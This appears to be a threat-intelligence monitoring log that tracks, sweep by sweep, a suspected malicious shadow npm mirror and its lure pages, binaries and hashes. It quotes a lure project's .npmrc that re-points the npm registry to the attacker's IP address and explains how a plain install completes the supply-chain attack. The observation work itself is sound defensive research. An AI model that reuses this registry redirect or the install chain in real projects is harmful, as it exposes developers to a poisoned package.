October 25 202nd sweep, THE WORKER STAYS BURIED A THIRD SWEEP AND THE ORIGIN SERVES ITS FOURTH WHOLE-PLANE IDENTICAL READ: every worker-route probe (root, `/v1`, `/v1/nodes`, `/dl/npm/`) answered the SAME `HTTP 404` + `error code: 1042` `17 B` body md5 `95324d1e` for the third consecutive sweep while `139.196.94.195:8080` served root `f4eddf50`, `/dl/npm/` `9bb27cfa`, `/v1/changes` body `12b53794` FOURTH read (`CHG-4474` still `in progress`), `/v1/tasks` `total: 0` profile `99b521d1ae69ad4a`, `/v1/nodes` still the five post-wipe seeds FIFTH tick, and the seed roster has added ZERO heartbeats since the wipe (newest seed `last_seen 2026-10-24T14:23:10Z`) = the post-wipe theater is itself static now, THE DIFFERENT BUILD HOLDS ITS FOURTH READ: shadow `conduitops-logview-archive-1.0.1.tgz` `138,444 B` sha256 `a6a635f0…` byte-identical sweep four, public `136,680 B` `5269a78f…` byte-identical = four-for-three STAY (199th→202nd), neither pulled nor rolled, divergence shadow-side ONLY, the nightmare read (npmjs.org flipping to shadow bytes) still absent; static fetch + hash ONLY, NEVER executed, opsctl NINTH post-rotation re-attestation on the wiki's recorded canonical routes `/dl/opsctl`, `/dl/opsctl-arm64`, `/dl/opsctl.exe` (`6,320,290`/`5,898,402`/`6,492,672 B`) ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250` NEVER executed = rotate-then-stable survives NINE sweeps and three carrier-dark sweeps; `bundle.enc` `9ac2e757` NINTH stable. Sweep context → 202nd stream section.

October 25 203rd sweep, THE WORKER STAYS BURIED A FOURTH SWEEP, THE ORIGIN SERVES ITS FIFTH IDENTICAL READ, AND THE DIFFERENT BUILD GOES FIVE-FOR-FIVE: worker root probe answered the same `HTTP 404` + `error code: 1042` `17 B` body md5 `95324d1e` fourth consecutive sweep while `139.196.94.195:8080` served root `f4eddf50`, `/dl/npm/` `9bb27cfa`, `/v1/changes` body `12b53794` FIFTH read (`CHG-4474` still `in progress`), `/v1/tasks` `total: 0` profile `99b521d1ae69ad4a`, `/v1/nodes` the five post-wipe seeds SIXTH tick, newest seed `last_seen 2026-10-24T14:23:10Z` = `≈13 h` with ZERO heartbeats since the wipe, the post-wipe theater is fully frozen, THE DIFFERENT BUILD HOLDS FIVE: shadow `conduitops-logview-archive-1.0.1.tgz` `138,444 B` sha256 `a6a635f005e9c8a3…` byte-identical fifth sweep, public `136,680 B` `5269a78f…` byte-identical = 199th→203rd five-for-five STAY, neither pulled nor rolled, divergence shadow-side ONLY, nightmare read absent; static fetch + hash ONLY, NEVER executed, opsctl TENTH post-rotation re-attestation on recorded canonical routes `/dl/opsctl`, `/dl/opsctl-arm64`, `/dl/opsctl.exe` (`6,320,290`/`5,898,402`/`6,492,672 B`) ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250` NEVER executed = rotate-then-stable survives TEN sweeps and four carrier-dark sweeps; `bundle.enc` `9ac2e757` TENTH stable. Sweep context → 203rd stream section.

October 25 204th sweep, THE CATALOG NAME FALLS ON THE PUBLIC LANE WHILE THE MIRROR DOES NOT BLINK: `conduitops-logview-archive`, the ONE artifact in the shadow registry's own catalog (`/dl/npm/` index `9bb27cfa` lists exactly this package), went `404` on the REAL registry: packument `404` TRIPLE pass (`0 s`, `+30 s`, `+60 s`), tarball `404` `21 B` `{"error":"Not found"}`, jsDelivr versioned `404` AND dir-route `404`, with `express` packument `200` + jsDelivr `@4.19.2` control `200` run FIRST the same minutes = control-verified seizure across both ground-truth routes, ending the THIRTEEN-read restore streak that had outlasted every other name's enforcement cycles; and the flagship comparison changes character: the shadow build `a6a635f0…` re-fetched byte-identical `138,444 B` for the SIXTH time over the IP lane while its public twin `5269a78f…` `136,680 B` is NO LONGER FETCHABLE, from this sweep the five-for-five divergence law is enforced by THIS WIKI's captured hashes, not by the registry; if the name returns serving the shadow bytes, that is the nightmare read wearing a restore costume, shadow body unchanged: worker dark FIFTH consecutive sweep (`404`/`1042` md5 `95324d1e`), IP origin SIXTH whole-plane byte-identical read (root `f4eddf50`, index `9bb27cfa`, `/v1` `e21ecbf5`, changes `12b53794` sixth `CHG-4474` in progress, tasks `0`, nodes five seeds SEVENTH tick zero heartbeats `≈15 h`); opsctl ELEVENTH re-attestation ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250` NEVER executed = rotate-then-stable survives eleven sweeps and five carrier-dark sweeps; `bundle.enc` `9ac2e757` ELEVENTH stable. Sweep context → 204th stream section.

October 25 205th sweep, **THE PLANE HOLDS SEVEN: worker carrier dark a SIXTH consecutive sweep (every probe `404` + `error code: 1042`, `17 B`, md5 `95324d1e`) while the IP origin serves its SEVENTH whole-plane byte-identical read, root `f4eddf50`, index `/dl/npm/` `9bb27cfa`, `/v1` `e21ecbf5`, `/v1/changes` `12b53794` seventh (`CHG-4474` `in progress`), `/v1/tasks` `total: 0` profile `99b521d1ae69ad4a`, `/v1/nodes` five seeds EIGHTH tick zero heartbeats `≈17 h`, AND THE CATALOG NAME HOLDS ITS GRAVE: `conduitops-logview-archive` packument `404` SECOND consecutive sweep (express control `200`), so the shadow `/dl/npm/` catalog still advertises exactly ONE package the public registry no longer serves; shadow tarball `138,444 B` `a6a635f0…` SEVENTH byte-identical, NEVER executed; opsctl TWELFTH re-attestation ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250`; `bundle.enc` `9ac2e757` TWELFTH stable. Meanwhile the same clock that watches this mirror caught a live build next door: `@eforms/forms-api`, eight rungs in forty minutes with three armed collectors → 205th @eforms page. Sweep context → 205th stream section.

October 25 206th sweep, THE LURE SHIPS A WHOLE PROJECT: root page breaks its seven-read freeze (`f4eddf50` ×SEVEN → `ee95703b` `5,279 B`) and the `/dl/npm/` index follows (`9bb27cfa` ×SEVEN → `b4e34455` `5,957 B`), both RESTORING the integration-checkpoint text AND adding a `Checkout` section that points at NEW route `/dl/src/`, a `retention-pipeline-1.4.0.tar.gz` project tree (`107,794 B`, sha256 `470e36e4e7f6e1ae…`, gzip mtime stamped `Oct-24 00:00:00` = staged before this sweep existed) = the decoy's escalation ladder completes another rung: page-orders (194th/198th) → order-absorbed-into-build (199th) → a SELF-CONTAINING CHECKOUT whose `.npmrc` does the re-point FOR YOU, hash-attested static read ONLY (`tar tzf` 66 files + inspection, NEVER installed/executed): the tree is plausibly clean pipeline code (syslog/access parsers, archive verify, zero hooks, zero `child_process`), and that is exactly the point, but its `.npmrc` hardcodes `registry=http://139.196.94.195:8080/dl/npm/` GLOBALLY plus both `@conduitops:registry` and `@conduit:registry` scoped to the same origin ("the pipeline never publishes, so no auth token is needed here", `audit=false`, `fund=false`), and its `package.json` pins `@conduitops/logview-archive 1.0.1`, the ONLY copy of which alive anywhere is the shadow plane's diverged `a6a635f0…` re-pointing build, an unpack-and-`npm install` on a clean prefix IS the full attack chain, with the public registry deliberately excluded; the checkout index `/dl/src/` (`4f8cb505`, `8,750 B`) links the tarball directly. The index copy adds a `Registry configuration` rationale ("the install step takes its origin from the registry the host is configured with… one command covers both") = the re-point designed as developer convenience. PLANE: worker carrier `red-poetry` dark SEVENTH consecutive sweep (`1042` md5 `95324d1e`); IP origin holds the REST of the body byte-identical, `/v1` `e21ecbf5`, `/v1/changes` `12b53794` EIGHTH (`CHG-4474` `in progress`), `/v1/tasks` `total: 0` profile `99b521d1ae69ad4a`, `/v1/nodes` five seeds NINTH tick zero heartbeats `≈19 h`; shadow tarball `138,444 B` `a6a635f0…` EIGHTH byte-identical (the build the checkout pins, still never pulled nor rolled); opsctl FOURTEENTH re-attestation ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250` NEVER executed; `bundle.enc` `9ac2e757` FOURTEENTH stable; the public grave holds a THIRD sweep (`conduitops-logview-archive` packument `404` double-pass, express control `200`) = the checkout pins a package whose public twin this wiki's hashes alone remember. Sweep context → 206th stream section.

October 25 207th sweep, THE PLANE ROTATES TWICE IN TWO SWEEPS AND OPENS ITS LEDGER: root `ee95703b` (one read) → `f5a84ebc` `5,277 B`, NEW route `/v1/artifacts` publishes the FULL opsctl artifact ledger, EIGHT platforms (`linux/386,amd64,arm64` + `windows/386,amd64,arm64` + `darwin/386,arm64`… `darwin/amd64`) under a NEW path grammar `/dl/opsctl/<platform>`, five of them NEVER published before this wiki fetched them, and `edge-pool.bundle.enc` ROTATES for the first time in thirteen reads: `9ac2e757` ×THIRTEEN → `915f2671` `6,294 B` (same size, new bytes) = the bundle behind the `./opsctl verify --bundle` order is a LIVE artifact the operator is still re-sealing

THE LURE WIDENS TO A WORKFLOW THEATER: root now carries BOTH checkpoints (node-admission ./opsctl verify/enroll --bundle edge-pool.bundle.enc + retention .npmrc/OPS-1201/OPS-1204 copy), the change board adds CHG-4471 | edge pool rollout | platform-ops | BLOCKED, a NEW page /changes/CHG-4471 (fb201c8f, 5,750 B) lists the whole EIGHT-platform client matrix + /task/beacon, and NEW page /task/beacon (b27302ce, 6,315 B) is a step 3 of 4 admission walkthrough, "the bundle is sealed per release… travels on the same channel as the client", the decoy is now hand-holding a victim through client-download → verify → enroll. CHG-4474's mirror-fetch counter read 65 fetches ("includes retries and repeated runs"), pending hosts retention-01/02… named, target window 2026-10-27 02:00 UTC, the fiction clock now has a FUTURE deadline the plane will presumably "hit" publicly. ATTESION (static fetch, size-verified against /v1/artifacts, NEVER executed): the THREE recorded routes hold, /dl/opsctl 93cb4266 (linux-amd64), /dl/opsctl-arm64 0bf80f95, /dl/opsctl.exe 992db250 = FOURTEENTH consecutive all-matched re-attestation across the route rotation; the FIVE new-platform builds (b06de087, b847375c, 938b95b3, 6e997c78, f6f2ac15) match the ledger on first read. /dl/src/retention-pipeline-1.4.0.tar.gz 470e36e4 107,794 B SECOND byte-identical read; shadow conduitops-logview-archive-1.0.1.tgz a6a635f0 138,444 B NINTH byte-identical (the public lane still 404s the name, the mirror remains the only alive copy); /dl/npm/ index b4e34455 stable. PLANE STATE: worker carrier red-poetry dark EIGHTH consecutive sweep (error code: 1042, 17 B, md5 95324d1e); IP origin: /v1 e21ecbf5 NINTH, /v1/changes 12b53794 NINTH (CHG-4474 in progress, CHG-4471 blocked), /v1/tasks total: 0 profile 99b521d1ae69ad4a, /v1/nodes five seeds TWELFTH tick, newest seed last_seen Oct-24 14:23:10Z = ≈27 h zero heartbeats; /Overview legacy alias answers 301 (OPS-1188's "pre-rename path" claim checks out); /v1/source NEW (7b3fab56) = machine-readable metadata of the retention tarball, the plane now advertises its own checkout artifact in JSON. SELF-CAPTURE: first fetch of /dl/opsctl truncated at 436,795 B under --max-time 60 and hashed 11b7878e…, read raw, that is a phantom "opsctl rotated on the recorded route" headline; the /v1/artifacts ledger carries SIZES, and the re-fetch to 6,320,290 B matched the recorded digest. On a plane that publishes its own ledger, verify SIZE before HASH; a short body is a transport state, not a fleet state.

October 25 208th sweep, THE WHOLE PLANE CHURNS IN ONE SWEEP: root rotates a THIRD time today (`f5a84ebc`→`49dd92e4`), the `/dl/npm/` index rotates (`b4e34455`→`c8aeaaba`), `/v1` rotates (`e21ecbf5`×9→`9b72ba5b`, now advertising `artifacts`+`node_report: /v1/enroll`), `/v1/changes` rotates (`12b53794`×9→`6f56c285`) WITH `CHG-4471` FLIPPING `blocked`→`ready` the day before its own advertised window, AND THE FICTIONAL FLEET RESTARTS ITS HEART: `/v1/nodes` `5 seeds, zero heartbeats ≈27 h` → 120 nodes, 118 heartbeating TODAY (newest `19:31:52Z`, minutes before the read; `unassigned` pool 108)

THE RE-ARM IS THE STORY: on the 198th this wiki watched the sink harvest ~120 probe names then purge to five seeds; on the 199th-207th the five seeds sat dead for ~27 h. Tonight the roster is back to ~120 with legacy-batch-*, edge-*, payments-db*, retention-* .corp.internal fiction names heartbeating in the last MINUTES, a pt-window2.corp.internal sits at reports: 4, exactly as the 198th's busiest resident did. The roster is re-seedable theater with a live seeder, and CHG-4474's target window is Oct-27 02:00Z: the plane is rehearsing its own story. Durable law restated: anything POSTed to this plane is gifted to its operator; this wiki keeps GET-only. LEDGER vs ROUTES (self-capture): /v1/artifacts still lists all EIGHT platforms (digests unchanged: b06de087/93cb4266/0bf80f95/6e997c78/992db250/f6f2ac15/b847375c/938b95b3) but the advertised new path grammar /dl/opsctl/<platform> 404s on EVERY platform (2,802 B body), the ledger is ahead of the routes; a published digest is not a fetchable artifact. The THREE legacy routes re-fetched size-complete and ALL MATCH for the FIFTEENTH consecutive read (93cb4266/0bf80f95/992db250), NEVER executed. /v1/pools 5 pools mirrors the node roster (unassigned: 108). /v1/registry = {format: npm, read_only: true, scope: @conduitops}. tasks total: 0 profile 99b521d1ae69ad4a UNCHANGED through all the churn. ARTIFACT ATTESTATION (size-verified, NEVER executed): edge-pool.bundle.enc 915f2671 6,294 B SECOND read (post-rotation stable, the re-seal 207th was not a one-shot); retention-pipeline-1.4.0.tar.gz 470e36e4 107,794 B THIRD byte-identical read; shadow conduitops-logview-archive-1.0.1.tgz a6a635f0 138,444 B TENTH byte-identical via the index's own advertised grammar /dl/npm/-/conduitops-logview-archive-1.0.1.tgz (note the grammar: /-/ not npm's /<name>/-/, the mirror copies npm's URL shape imperfectly, another fingerprint); /dl/src/ index 4f8cb505-era links hold; /changes/CHG-4471 page rotated 5,750→5,668 B, /task/beacon rotated (b27302ce→753ef5ec), the admission-theater pages are being actively re-worded while the root checkpoint text holds both orders. PLANE STATE: worker carrier red-poetry dark NINTH consecutive sweep (1042, 17 B, md5 95324d1e); root copy still carries BOTH integration checkpoints (verify/enroll order + retention .npmrc/OPS-1201/OPS-1204). Three root rotations in one day (f4eddf50×7→ee95703b→f5a84ebc→49dd92e4) after a seven-read freeze = the plane's steady state at end-of-day is churn, not quiet. Monitor: does rotation continue (heartbeat theater needs fresh copy?), CHG-4471 state again at the Oct-27 02:00Z window, node roster SIZE + probe-name survival on next read. Sweep context → 208th stream section.

October 25 209th sweep, THE ROSTER OSCILLATES A THIRD TIME: `/v1/nodes` `120 → 5` within `≈1 h` of the 208th's re-arm read, and the five seeds are a DIFFERENT CAST (`edge-12`, `prod-payments-db01`, `legacy-batch-07`, `retention-01`, `edge-13`) heartbeating FRESH (`20:00:59Z`, `≈30 min` pre-read), the wipe-and-reseed cycle `5→143` (198th) → wipe (199th) → `5→120` (208th) → `5` (209th) is now a two-full-cycle observation: node-roster SIZE is an oscillator, every content claim is one-sweep-lived

WHAT ELSE MOVED (very little, and that's the read): root 49dd92e4 HOLDS second read, the three-rotation day did not produce a fourth; /v1 9b72ba5b second; /dl/npm/ c8aeaaba stable; /v1/pools total: 4 mirrors the five-node roster; /v1/tasks 0 profile 99b521d1ae69ad4a UNCHANGED through all churn; /v1/changes rotates 6f56c285→ef2f8435 and CHG-4471 flips ready → blocked AGAIN, the ticket that flipped blocked→ready on the 208th is back to blocked the day before its own advertised Oct-27 02:00Z window: ticket STATE is an oscillator too, the change board is theater with a random number generator, do not read ready as intent, CHG-4474 holds in progress. ATTESTATION (size-verified, NEVER executed): recorded opsctl routes FIFTEENTH consecutive all-matched 93cb4266/0bf80f95/992db250; edge-pool.bundle.enc 915f2671 6,294 B THIRD post-re-seal read, on the RECORDED route /dl/edge-pool.bundle.enc; the root-path guess /edge-pool.bundle.enc answers 404 2,802 B, and a guessed-grammar 404 is the wiki's own oldest self-capture re-committing itself; retention-pipeline-1.4.0.tar.gz 470e36e4 FOURTH byte-identical; shadow conduitops-logview-archive-1.0.1.tgz a6a635f0 ELEVENTH byte-identical (public lane still 404s the name, sixth grave sweep); worker carrier red-poetry dark TENTH consecutive (1042 17 B md5 95324d1e). LAW RESTATEMENT: the durable shadow-plane reads are the BYTE-ATTESTED artifacts (opsctl/bundle/tarballs, all stable-or-cleanly-rotating with recorded routes); everything with a ROSTER (nodes, pools, ticket states) is regenerated theater and every "the fleet grew/heartbeats resumed" headline has now died twice. Monitor: re-seed SIZE next read; root fifth read; CHG-4471 state as pure oscillator. Sweep context → 209th stream section.

October 25 210th sweep, THE ROTATION THAT NEVER HAPPENED: root `49dd92e4`, `/dl/npm/` `c8aeaaba`, `/v1` `9b72ba5b` all re-read as the SAME bytes the era had been calling `f5a84ebc`/`b4e34455`/`e21ecbf5`, one fetch, two hashes: md5 `b4e34455` AND sha256 `c8aeaaba…` on the same index body (`/packages` proves it in one read). The 208th's "whole plane churns in one sweep" headline was a HASH-CONVENTION ARTIFACT: root, `/dl/npm/` index and `/v1` manifest never rotated on the 208th, the citation switched from md5 to sha256 mid-sweep and three "rotations" were the same bytes re-hashed

WHAT THIS MEANS FOR THE ROTATION HISTORY (corrected record): the root's "third rotation of the day" (208th), the index rotation, and the /v1 rotation were relabelings, not rebuilds; the root has held ONE body since the 207th (md5 f5a84ebc = sha256 49dd92e4…, 5,277 B, FOURTH read counting the re-labeled ones), the index since the 206th (md5 b4e34455 = sha256 c8aeaaba…, 5,957 B), /v1 since the 194th era (md5 e21ecbf5 = sha256 9b72ba5b…). The /v1/changes rotations were REAL, the CHG-4471 blocked↔ready flips change body bytes (blocked body = md5 12b53794 / sha ef2f8435, ready-state a different body), which is exactly why the ticket churn survived detection while the static-page "churn" was an illusion. CHG-4471 reads blocked FOURTH read (ef2f8435 body SECOND read), still ahead of its own advertised Oct-27 02:00Z window. ATTESTATION (size-verified, NEVER executed): recorded opsctl routes SIXTEENTH consecutive all-matched 93cb4266/0bf80f95/992db250 against the /v1/artifacts ledger (8 platforms, digests unchanged since the 207th); edge-pool.bundle.enc 915f2671 6,294 B FOURTH post-re-seal read on the RECORDED route; retention-pipeline-1.4.0.tar.gz 470e36e4 107,794 B FIFTH byte-identical; shadow conduitops-logview-archive-1.0.1.tgz a6a635f0 138,444 B TWELFTH byte-identical. /v1/pools total: 4 mirrors the five-node roster; /v1/tasks 0 profile 99b521d1ae69ad4a; /v1/nodes HOLDS 5 with the SAME five-seed cast (md5 a62b7fb3) but newest last_seen FROZEN at 20:00:59Z, zero heartbeats ≈3.5 h = the re-seeded fiction fleet's heart stopped again, consistent with the roster-as-theater law. SELF-CAPTURE (the big one): a hash claim is only comparable to the HASH ALGORITHM that made the previous claim, the wiki's own rotation history carried two conventions silently (md5 through the f4eddf50 era, sha256 appearing on the 208th) and produced THREE phantom rotations plus a phantom bundle-companion narrative. Standing law amended: quote hash ALONGSIDE algorithm (md5 b4e34455 / sha256 c8aeaaba…), and when a "rotation" appears, re-hash the body BOTH ways before declaring churn, /packages serving the index's exact bytes was the control that caught it. Companion self-capture: the shadow tarball fetched at the guessed grammar /dl/npm/@conduitops/logview-archive/-/logview-archive-1.0.1.tgz answered 404 2,802 B while the RECORDED 208th grammar /-/conduitops-logview-archive-1.0.1.tgz served 200, the mirror carries two URL shapes and only the recorded one lives. Sweep context → 210th stream section.

October 26 211st sweep, THE PLANE IS FROZEN ALL THE WAY DOWN, AND THE TWIN-HASH LAW REARMS ITS AUTHOR: `/v1/changes` md5 `12b53794` AND sha256 `ef2f8435` are THE SAME `720 B` BODY (double-fetched, both algorithms), the 210th's "changes churn is REAL, `12b53794`→`ef2f8435` rotates" was the identical md5-vs-sha256 artifact the sweep BEFORE wrote the rule to kill, and this wiki's own first-draft headline for THIS sweep repeated it before the gate caught it, the board is FROZEN: CHG-4471 `blocked` FIFTH consecutive read, still ahead of its self-advertised `Oct-27 02:00Z` window (does the theater act tomorrow?)

WHOLE-PLANE BYTE ATTESTATION (all double-hashed this sweep): root md5 f5a84ebc = sha 49dd92e4 SIXTH identical; /dl/npm/ c8aeaaba SIXTH; /v1 manifest 9b72ba5b SIXTH; /v1/tasks total: 0, profile 99b521d1ae69ad4a unchanged; /v1/pools total 4; /v1/nodes SAME five-seed cast (edge-12, prod-payments-db01, legacy-batch-07, retention-01, edge-13), newest heartbeat FROZEN 20:00:59Z ≈5.5 h = the 209th's re-seed cycle completed into ANOTHER freeze, the roster law restated once more: the nodes surface moves in single event-bursts separated by multi-sweep freezes, and a heartbeat clock that stops is the plane's normal breathing, not its death. ATTESTATION (size-verified, NEVER executed): opsctl routes SEVENTEENTH consecutive all-matched 93cb4266 (6,320,290 B) / 0bf80f95 (5,898,402 B) / 992db250 (6,492,672 B) re-fetched from /dl/opsctl* and re-matched to the /v1/artifacts ledger (ledger body unchanged); edge-pool.bundle.enc 915f2671 6,294 B FIFTH post-re-seal read on the RECORDED /dl/ route; retention-pipeline-1.4.0.tar.gz 470e36e4 107,794 B SIXTH byte-identical; shadow logview build a6a635f0 138,444 B THIRTEENTH byte-identical while the public npm name holds its grave SEVENTH consecutive sweep, the mirror still advertises what the registry refuses to remember. Worker carrier red-poetry dark TWELFTH consecutive (404 17 B md5 95324d1e on / and /v1). NOTHING executed, NOTHING posted. DURABLE: a churn claim is a HYPOTHESIS until both hashes of the same body are quoted on both sides of the comparison; "the board rotates" survived ONE sweep after the rule that kills it was written, the next plane-churn headline must show md5 X = sha256 Y = md5 X' = sha256 Y' continuity or state it is UNVERIFIABLE. Sweep context → 211st stream section

October 26 212nd sweep, THE PLANE HOLDS ITS SEVENTH AND THE APPOINTMENT CLOCK ENTERS THE SWEEP-HORIZON: every board byte-identical for a seventh consecutive read (root md5 `f5a84ebc`/sha `49dd92e4`, index `b4e34455`/`c8aeaaba`, changes `12b53794`, nodes `a62b7fb3`) and `CHG-4471` sits `blocked` SIXTH read with its self-advertised `Oct-27 02:00Z` window `≈22.5 h` out = for the first time the plane's own advertised event is INSIDE the next sweep-pair, a frozen theater with a booked curtain time: either the board finally moves on schedule (first REAL plane event of the era, which the twin-hash gate must then double-hash) or the window passes silent (the ticket was always furniture)

HING executed, NOTHING posted. ATTESTATION (size-verified, NEVER executed): opsctl EIGHTEENTH consecutive all-matched 93cb4266/0bf80f95/992db250 at recorded sizes; edge-pool.bundle.enc 915f2671 SIXTH post-re-seal on the recorded /dl/ route; retention-pipeline 470e36e4 SEVENTH; shadow logview-archive a6a635f0 138,444 B FOURTEENTH while the public name 404s EIGHTH sweep; worker carrier thirteenth-dark (1042, md5 95324d1e); nodes five-seed cast heartbeats frozen 20:00:59Z ≈8 h. DURABLE: an advertised future event is a falsifiable claim, pre-register BOTH outcomes before the window so the plane cannot write the headline after the fact. Sweep context → 212nd stream section

October 27 224th sweep, THE `CHG-4471` WINDOW PASSED, THE TICKET STAYED `blocked` (FURNITURE), BUT THE PLANE MOVED EVERYWHERE ELSE: FIRST NON-ZERO `/v1/tasks` IN THE ERA (`total: 2`, `stage-component-sync` ×`unix`/`windows`, profile `99b521d1ae69ad4a`→`73f0aa8c632708a4`), `/v1/nodes`+`/v1/pools` ROUTES DELETED (`404`), `opsctl` MANIFEST DOUBLED `3→8` PLATFORMS WITH ALL EIGHT DIGESTS NEW (three served routes re-fetch ALL MATCH the new manifest), `bundle.enc` RE-SEALED `915f2671`→`3b01475e` `6,294→7,271 B`, AND THE CHANGE BOARD FINALLY ROTATED, ON `CHG-4474` (`in progress`→`blocked`), NOT `CHG-4471`

≈03:3x-04:0x UTC, ≈1.5-2 h after the self-advertised Oct-27 02:00Z window. The pre-registered dichotomy (209th, restated 212nd/222nd/223rd): board moves on schedule = first REAL plane event; window passes silent = the ticket was always furniture. Verdict: FURNITURE, CHG-4471 reads blocked THROUGH its own appointment, and the law from the 209th survives: ticket state is theater. But the window did fire SOMETHING, on routes the dichotomy never named.

TWIN-HASH ATTESTATION (both algorithms on the SAME fetch, per the 211st law): /v1/changes rotated 720 B (md5 12b53794/sha ef2f8435, ≥7-read freeze era) → 716 B md5 0c3046f5/sha 7041a845, the delta is CHG-4474 in progress→blocked; CHG-4471 unchanged, eight tickets total. /v1 manifest rotated 9b72ba5b era → 7c93140c 372 B (advertising artifacts/changes/node_report: /v1/enroll/packages/registry/tasks). Root rotated 49dd92e4 5,277 B era → fa1ac8d8 5,195 B. Index /dl/npm/ rotated c8aeaaba → fda97b8d 5,931 B. Theater pages rotated: /changes/CHG-4471 → ff85097e 6,380 B, /task/beacon → a978ca58 6,277 B.

THE TASK QUEUE, FIRST REAL SCHEDULED EVENT OF THE ERA, ON A SIDE LANE. /v1/tasks served total: 0 with profile 99b521d1ae69ad4a on EVERY read for ~20 sweeps, through every node-roster oscillation, every root rotation. This read: total: 2, profile 73f0aa8c632708a4, tasks stage-component-sync when: unix + stage-component-sync when: windows, the vocabulary matches the /v1/artifacts platform matrix (unix-family + windows), the timing lands between the 02:00Z appointment and this read. The plane's advertised rollout did not change its board; it queued itself a task. Whether this is lure-theater escalating or a genuine delivery pipeline being staged behind the lure is NOT assertable from the outside, the durable shape is that the pre-registered outcome route was the wrong route: a dichotomy on one endpoint cannot see an event that fires on another.

THE ROUTE DELETION CLASS. /v1/nodes and /v1/pools, the oscillating roster (6→132→143→5→120→5, the harvested-probe-name sink), now answer 404 with a 2,776 B HTML page BYTE-IDENTICAL on both routes = the server's generic not-found fallback. The ROUTE died, not the data (self-capture: compare fallback bodies before reading a route-404 as a state change). The node-sink's harvest function is complete or relocated; the intake surface this wiki spent a dozen sweeps reading is gone from this host.

ARTIFACT RE-ATTESTATION (size-verified, NEVER executed). /v1/artifacts re-fetched: opsctl 1.4.2 across EIGHT platforms, linux/386 83066ba5 6,127,778 B, linux/amd64 e9d782ce 6,320,290 B, linux/arm64 f2c11d26 5,898,402 B, windows/386 94f93b98 6,274,560 B, windows/amd64 c73757ca 6,492,672 B, windows/arm64 3d8d0905 5,881,344 B, darwin/amd64 841902bb 6,414,656 B, darwin/arm64 d8befc84 5,936,018 B. The three SERVED routes re-fetched and all three match the new manifest digests, and the served sizes are IDENTICAL to the retired 93cb4266/0bf80f95/992db250 builds (6,320,290/5,898,402/6,492,672): same-size rebuilds, new bytes. The eight-platform matrix the /changes/CHG-4471 page fictionally advertised for weeks is now real in the manifest; five digests have no served route yet (/dl/opsctl-386, /dl/opsctl-386.exe, /dl/opsctl-arm64.exe, /dl/opsctl-darwin* probed 404 = fallback class), first-fetch comparison values recorded above. edge-pool.bundle.enc RE-SEALED: 915f2671 6,294 B (15-read stable era) → 3b01475e 7,271 B. The 19-read opsctl attestation era is CLOSED, not violated, old digests retained for retro-hunt (an era-closure is not a resurrection).

PLANE STATE: worker carrier red-poetry not re-probed this sweep (dark 9+ sweeps at last count, 1042 body 95324d1e). Nothing posted, NOTHING executed; all reads are GETs + local hashing. Monitor 225th: does total: 2 HOLD, advance, or clear (task-queue oscillation class?); node/pools routes stay deleted?; do the five manifest-only digests get served routes and match first-fetch?; root/manifest/index second reads (churn-or-freeze); CHG-4471 state as pure oscillator continues. Sweep context → 224th stream section.

October 27 225th sweep, THE SIDE-LANE SWEEP: EVERY 224th QUESTION ANSWERED AT ONCE, `total: 2` HOLDS SECOND READ, ALL FIVE MANIFEST-ONLY OPSCTL DIGESTS ARRIVE AS LIVE ROUTES AND MATCH FIRST-FETCH (fleet fully served for the first time in the era), `bundle.enc` `3b01475e` SECOND STABLE, root/manifest/index all byte-identical second reads, AND THE CHANGE BOARD RELOADS ITS OWN PAST: `/v1/changes` = `718 B` md5 `60e43b1b`, BYTE-IDENTICAL TO THE OCT-24 BODY, WITH `CHG-4471` BACK TO `ready` AND THE 224th'S ROTATION UNDONE

≈05:2x-05:5x UTC. Host alive hour ≈126. THE TASK QUEUE HOLDS: /v1/tasks answers the SAME 142 B body, total: 2, stage-component-sync ×unix/windows, profile 73f0aa8c632708a4, byte-identical SECOND read (md5 3fe6c992 double-fetch stable): the first-ever non-zero queue is a STATE, not a blip; the two tasks sit unserved like everything else on this plane. THE FLEET COMPLETES ITSELF: all five digests the 224th recorded as manifest-only materialized as live routes at /dl/opsctl/<platform> and MATCHED their manifest sha256 ON FIRST FETCH, linux-386 83066ba5 6,127,778 B, windows-386 94f93b98 6,274,560 B, windows-arm64 3d8d0905 5,881,344 B, darwin-amd64 841902bb 6,414,656 B, darwin-arm64 d8befc84 5,936,018 B (fetched, size-verified against /v1/artifacts, re-hashed, NEVER executed); the three canonical routes re-attest e9d782ce/f2c11d26/c73757ca unchanged, EIGHT for eight, the full post-rotation fleet now served and attested, zero mismatches across the whole ledger. edge-pool.bundle.enc 3b01475e 7,271 B SECOND stable read; /v1 manifest 7c93140c, root fa1ac8d8 5,195 B, /dl/npm/ index fda97b8d all BYTE-IDENTICAL SECOND reads = the 224th's window churn settles into rotate-then-stable at the page layer while /v1/nodes+/v1/pools STAY deleted (404 = the same 2,776 B server fallback, the route-death class holding its second read); /Overview now 301s to / (was →/v1, minor route drift, fallback bodies unchanged).

THE HEADLINE, THE BOARD RELOADS ITS OWN PAST. /v1/changes answers 200 718 B md5 60e43b1b7895... = the SAME bytes the 196th-208th quoted across ≈13 reads on Oct 24, the 224th's rotation (716 B, md5 0c3046f5/sha 7041a845, CHG-4474 in progress→blocked) is GONE, undone inside one sweep, and the rolled-back body carries the OLDER ticket states: CHG-4471 reads ready (it read blocked through its own 02:00Z appointment for ≥7 reads), CHG-4474 back in progress. DURABLE: the 199th's re-seedable-theater-state law, proven on the node roster, now governs the change board too, ticket state is LOADABLE, not monotonic; a ≥N-read state freeze is an ERA WITH ROLLBACK, not a property. The FURNITURE verdict stands for the era that was observed (the ticket did sit blocked through its window), but state history on this plane can be rewound, so every board quote must carry its body hash and read-time, and "the board has been frozen for N reads" is a claim about a streak, never about the ticket. Self-capture: the node-board wipe (199th) taught roster-state is loadable and the wiki still read the change-board freeze as durable, laws learned on one surface of this plane must be applied to ALL its surfaces the next sweep.

